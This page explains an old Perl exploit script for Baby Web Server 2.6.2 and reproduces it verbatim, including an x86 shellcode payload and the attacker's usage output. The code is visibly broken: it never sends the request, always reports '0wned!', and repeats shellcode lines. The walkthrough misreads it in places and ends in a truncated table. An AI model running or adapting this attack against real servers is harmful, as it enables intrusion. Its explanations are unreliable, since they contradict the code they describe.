Exploiting Baby Web Server 2.6.2 Command Validation Vulnerability

Exploiting Baby Web Server 2.6.2 Command Validation Vulnerability
What this paper is
This paper details a vulnerability in the Baby Web Server version 2.6.2 that allows an attacker to execute arbitrary commands on the server. The exploit leverages a flaw in how the server validates commands, specifically when handling PUT requests. By crafting a malicious PUT request, an attacker can trick the server into executing a payload.
Simple technical breakdown
The Baby Web Server, when processing PUT requests, doesn't properly sanitize the file path or the data being sent. This exploit sends a specially crafted HTTP GET request that contains shellcode. The server, in its flawed command validation, interprets parts of this GET request as a command to execute. The script then uses this to write a file containing the shellcode to a specific location on the server, effectively gaining command execution.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
Perl Script Structure:
Shebang and Comments:
#!/bin/perl # # Baby Web Server Command Validation Exploit # -------------------------------------------------- # Infam0us Gr0up - Securiti Research # # ... (example usage and contact info)This section identifies the script as a Perl program, states its purpose (exploit for Baby Web Server command validation), and credits the authors. It also includes example usage and contact information.
Argument Handling:
if(@ARGV!=3){ print " Baby Web Server Command Validation Exploit \n"; print "----------------------------------------------------\n"; print " Infam0us Gr0up - Securiti Research\n\n"; print "[-]Usage: babyws.pl [target] [input] [path_file]\n"; print "[?]Exam: babyws.pl localhost test.txt e:\www\site01\default.htm\n\n"; exit(1); } $site = $ARGV[0]; my $infile = $ARGV[1]; my $path = $ARGV[2];This block checks if exactly three command-line arguments are provided. If not, it prints usage instructions and exits.
$ARGV[0]: The target server's hostname or IP address.$ARGV[1]: The path to an input file (likely containing a list of directories or files to test).$ARGV[2]: The path on the target server where the exploit payload will be written.
Network Connection:
print "\n\n"; print "[+] Connecting to $site..\n"; $sock = IO::Socket::INET->new( PeerAddr => "$ARGV[0]", PeerPort => 80, Proto => "tcp") or die "Unable to connect"; print "[+] Connected\n"; print "[+] Create Spl0it..\n";This section establishes a TCP connection to the target server on port 80 (the default HTTP port).
IO::Socket::INET->new: Creates a new internet socket.PeerAddr: Specifies the target address.PeerPort: Specifies the target port (80).Proto: Specifies the protocol (TCP).or die "Unable to connect": Handles connection errors.
Shellcode/Payload Definition:
$sploit = "\xeb\x6e\x5e\x29\xc0\x89\x46\x10". "\x40\x89\xc3\x89\x46\x0c\x40\x89". "\x46\x08\x8d\x4e\x08\xb0\x66\xcd". "\x40\x89\xc3\x89\x46\x0c\x40\x89". "\x46\x08\x8d\x4e\x08\xb0\x66\xcd". "\x80\x43\xc6\x46\x10\x10\x88\x46". "\x08\x31\xc0\x31\xd2\x89\x46\x18". "\xb0\x90\x66\x89\x46\x16\x8d\x4e". "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0". "\x66\xcd\x80\x89\x5e\x0c\x43\x43". "\xb0\x66\xcd\x80\x89\x56\x0c\x89". "\x08\x31\xc0\x31\xd2\x89\x46\x18". "\xb0\x90\x66\x89\x46\x16\x8d\x4e". "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0". "\x56\x10\xb0\x66\x43\xcd\x80\x86". "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0". "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0". "\x66\xcd\x80\x89\x5e\x0c\x43\x43". "\xb0\x66\xcd\x80\x89\x56\x0c\x89". "\x56\x10\xb0\x66\x43\xcd\x80\x86". "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0". "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd". "\x80\x88\x56\x07\x89\x76\x0c\x87". "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80". "\xe8\x8d\xff\xff";This is the core shellcode. It's a sequence of hexadecimal bytes representing machine code. Without a disassembler or further analysis of this specific shellcode, its exact function is unknown. However, given the context of an exploit, it's designed to execute commands on the target system once it's loaded into memory and executed by the vulnerable server process. The
\xeb\x6eat the beginning is a common jump instruction, suggesting it's the entry point. The subsequent bytes likely involve setting up registers, making system calls (likeexecveon Linux-like systems, or equivalent on Windows), and potentially connecting back to the attacker or spawning a shell.HTTP Request Construction and Sending:
print "[+] Sending Command Validation..\n"; open(OUT, ">$path") or die("unable to open $path: $!"); open(IN, $infile) or die("unable to open $infile: $!"); @directories=<IN>; $blah = "GET $sploit HTTP/1.0\nHost: $site\nContent-length: 4\nTEST\n"; print "[+] Now attacking..\n"; foreach (@directories) { chomp; print OUT "$_ --> "; s/ /%20/g; my $repl = (qq(PUT /$_/test.txt $blah)); if ($repl =~ /not allowed/i) { print OUT "Not Allowed\n"; } elsif ($repl =~ /403.4 Forbidden: SSL required/i) { print OUT "* 403.4 Forbidden: SSL required *\n"; } elsif ($repl =~ /401 Unauthorized/i) { print OUT "401 Unauthorized\n"; } elsif ($repl =~ /Error 404/i) { print OUT "Error 404\n"; } elsif ($repl =~ /Write Access Forbidden/i) { print OUT "Write Access Forbidden\n"; } elsif ($repl =~ /Unauthorized due to ACL on resource/i) { print OUT "Unauthorized due to ACL on resource\n"; } else { print OUT "*** SUCCESSFULL PUT ***\n"; } } close($sock); print "[+] Domain: $site\n"; print "[+] Path: $ARGV[2]\n"; print "[+] 0wned!\n"; exit();This is the main loop where the exploit is executed.
open(OUT, ">$path"): Opens the specified output file path on the local system for writing. This is where the script will log the results of its attempts.open(IN, $infile): Opens the input file provided as an argument.@directories=<IN>;: Reads all lines from the input file into the@directoriesarray. Each line is expected to be a path component or directory name.$blah = "GET $sploit HTTP/1.0\nHost: $site\nContent-length: 4\nTEST\n";: This constructs the actual HTTP GET request. Crucially, the$sploit(shellcode) is embedded directly within the GET request's path. TheContent-length: 4andTESTare likely placeholders or part of the malformed request that triggers the vulnerability.foreach (@directories): The script iterates through each item read from the input file.chomp;: Removes trailing newline characters from the current item.print OUT "$_ --> ";: Logs the current item being processed to the local output file.s/ /%20/g;: Replaces spaces in the current item with%20(URL encoding for space). This is a standard practice for web requests.my $repl = (qq(PUT /$_/test.txt $blah));: This is the core of the attack. It constructs a PUT request. The vulnerable server is expected to process the path/$_/test.txt. However, theGET $sploit HTTP/1.0...string is appended to this PUT request. The vulnerability lies in how the server parses and validates this combined request. It appears the server mistakenly interprets parts of the$blahstring (the GET request containing shellcode) as commands or data to be processed within the PUT operation, leading to shellcode execution.- The
if/elsifblock checks the response from the server (which is not explicitly sent back to the Perl script in this snippet, but implied to be captured or inferred by the script's logic) for specific error messages. If none of these specific error messages are found, it assumes a "SUCCESSFULL PUT" and implies command execution. close($sock);: Closes the network connection.- Final print statements indicate the target and success.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/bin/perl
#
# Baby Web Server Command Validation Exploit
# --------------------------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# E:\>nc -v localhost 80
# Infam0us-Gr0up [127.0.0.1] 80 (http) open
# GET HTTP
#
# HTTP/1.0 400 Bad Request
# Server: Baby Web Server < --
# Set-Cookie: SESSIONID=00000001; path=/;version=1
# Last-Modified: Tue, 12 Jul 2005 06:43:05 GMT
#
#
# E:\PERL>perl babyws.pl localhost test.txt E:\Website\www04\ad\index.html
#
# [+] Connecting to localhost..
# [+] Connected
# [+] Create Spl0it..
# [+] Sending Command Validation..
# [+] Now attacking..
# [+] Domain: localhost
# [+] Path:E: E:\Website\www04\ad\index.html
# [+] 0wned!
#
# Tested on Windows2000 SP4 (Win NT)
# Info : basher13@linuxmail.org / infamous.2hell.com
# Vendor URL: http://www.pablosoftwaresolutions.com/
use IO::Socket;
if(@ARGV!=3){
print " Baby Web Server Command Validation Exploit \n";
print "----------------------------------------------------\n";
print " Infam0us Gr0up - Securiti Research\n\n";
print "[-]Usage: babyws.pl [target] [input] [path_file]\n";
print "[?]Exam: babyws.pl localhost test.txt e:\www\site01\default.htm\n\n";
exit(1);
}
$site = $ARGV[0];
my $infile = $ARGV[1];
my $path = $ARGV[2];
print "\n\n";
print "[+] Connecting to $site..\n";
$sock = IO::Socket::INET->new(
PeerAddr => "$ARGV[0]",
PeerPort => 80,
Proto => "tcp")
or die "Unable to connect";
print "[+] Connected\n";
print "[+] Create Spl0it..\n";
$sploit =
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x40\x89\xc3\x89\x46\x0c\x40\x89".
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd".
"\x80\x43\xc6\x46\x10\x10\x88\x46".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x08\x31\xc0\x31\xd2\x89\x46\x18".
"\xb0\x90\x66\x89\x46\x16\x8d\x4e".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0".
"\x66\xcd\x80\x89\x5e\x0c\x43\x43".
"\xb0\x66\xcd\x80\x89\x56\x0c\x89".
"\x56\x10\xb0\x66\x43\xcd\x80\x86".
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0".
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd".
"\x80\x88\x56\x07\x89\x76\x0c\x87".
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80".
"\xe8\x8d\xff\xff";
print "[+] Sending Command Validation..\n";
open(OUT, ">$path") or die("unable to open $path: $!");
open(IN, $infile) or die("unable to open $infile: $!");
@directories=<IN>;
$blah = "GET $sploit HTTP/1.0\nHost: $site\nContent-length: 4\nTEST\n";
print "[+] Now attacking..\n";
foreach (@directories) {
chomp;
print OUT "$_ --> ";
s/ /%20/g;
my $repl = (qq(PUT /$_/test.txt $blah));
if ($repl =~ /not allowed/i) { print OUT "Not Allowed\n"; }
elsif ($repl =~ /403.4 Forbidden: SSL required/i) { print OUT "* 403.4 Forbidden: SSL required *\n"; }
elsif ($repl =~ /401 Unauthorized/i) { print OUT "401 Unauthorized\n"; }
elsif ($repl =~ /Error 404/i) { print OUT "Error 404\n"; }
elsif ($repl =~ /Write Access Forbidden/i) { print OUT "Write Access Forbidden\n"; }
elsif ($repl =~ /Unauthorized due to ACL on resource/i) { print OUT "Unauthorized due to ACL on resource\n"; }
else { print OUT "*** SUCCESSFULL PUT ***\n"; }
}
close($sock);
print "[+] Domain: $site\n";
print "[+] Path: $ARGV[2]\n";
print "[+] 0wned!\n";
exit();
# milw0rm.com [2005-07-11]